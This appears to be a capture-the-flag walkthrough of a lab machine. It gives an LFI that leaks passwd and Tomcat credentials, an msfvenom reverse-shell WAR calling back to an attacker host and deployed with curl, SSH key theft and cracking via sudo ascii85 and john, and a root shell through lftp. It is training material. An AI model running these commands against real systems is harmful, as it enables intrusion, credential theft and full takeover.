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Initial Foothold 
 

Port Scan 

 

 

 

Directory Scan – Port 80 
 

gobuster dir -u http://10.0.2.253 -w /usr/share/wordlists/dirbuster/directory-list-
lowercase-2.3-medium.txt -t 100 -x .txt,.log,.php,.bak 

 

 

Result : /tomcat.php 

 

 

 



Local File Inclusion – Port 80 
 

wfuzz -w  /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hh 0  
'http://10.0.2.253/tomcat.php?FUZZ=/etc/passwd' 

 

Result : filez 

 

Local File Inclusion - Verified 
 

Proof 

view-source:http://10.0.2.253/tomcat.php?filez=/etc/passwd 

 

 

 

 

 

 

 

 



Found Tomcat HOME/BASE Directory 
 

view-source:http://10.0.2.253/tomcat.php?filez=/etc/systemd/system/tomcat.service 

 

 

If you ask me, how I guessed this file, as a creator I know that the /etc/systemd/system is 

the default linux path to create your service, so I guessed that the service name is 

tomcat(.service). Also, each service contains the directory that runs the binaries to start or 

stop the service. For tomcat the working directory is : 

/opt/tomcat/latest 

 

Tomcat Credentials using LFI 
 

view-source:http://10.0.2.253/tomcat.php?filez=/opt/tomcat/latest/conf/tomcat-
users.xml 

 
<user username="sml" password="H4ckMy***********" roles="admin-gui,manager-
script"/> 

 

 

 

 

 

 

 

 



Msfvenom - Reverse Shell Generator 
 

Payload 
 

msfvenom -p java/shell_reverse_tcp lhost=10.0.2.254 lport=443 -f war -o 
alienum.war 

 

 

Reverse Shell – Port 8080 
 

Deploy / Upload 
 

Deploy 

curl --upload-file alienum.war -u 'sml:H4ckMy***********' 
"http://10.0.2.253:8080/manager/text/deploy?path=/al1enum" 

 

 

Trigger The Revershe Shell 
 

curl http://10.0.2.253:8080/al1enum 

 

Listener 
 

nc -lnvp 443 
 

Proof 
 

 

 

 

 

 



Horizontal Privileges Escalation 
 

Sudo Permissions as nathan 
 

sudo -l 

 

 

Reading and Encode Nathan’s Private Key using ASCII85 
 

sudo -u nathan /usr/bin/ascii85 /home/nathan/.ssh/id_rsa 

 

 

 

 

 

 

 

 

 



Decode Nathan’s Private Key using ASCII85 
 

sudo apt-get install -y ruby-ascii85 

ascii85 -d id_rsa85  

 

 

Crack id_rsa Passphrase 
 

ascii85 -d id_rsa85 > id_rsa 

/usr/share/john/ssh2john.py  id_rsa > hash 

john hash --wordlist=/usr/share/wordlists/rockyou.txt 

 

 

 

 

 

 



User Proof 
 

 

Vertical Privileges Escalation 
 

Sudo Permissions 
 

Sudo -l 

 

 

Shell Command Execution using LFTP as ROOT 
 

Rooted 
 

sudo -u root /usr/bin/lftp 

!/bin/bash 

 

 


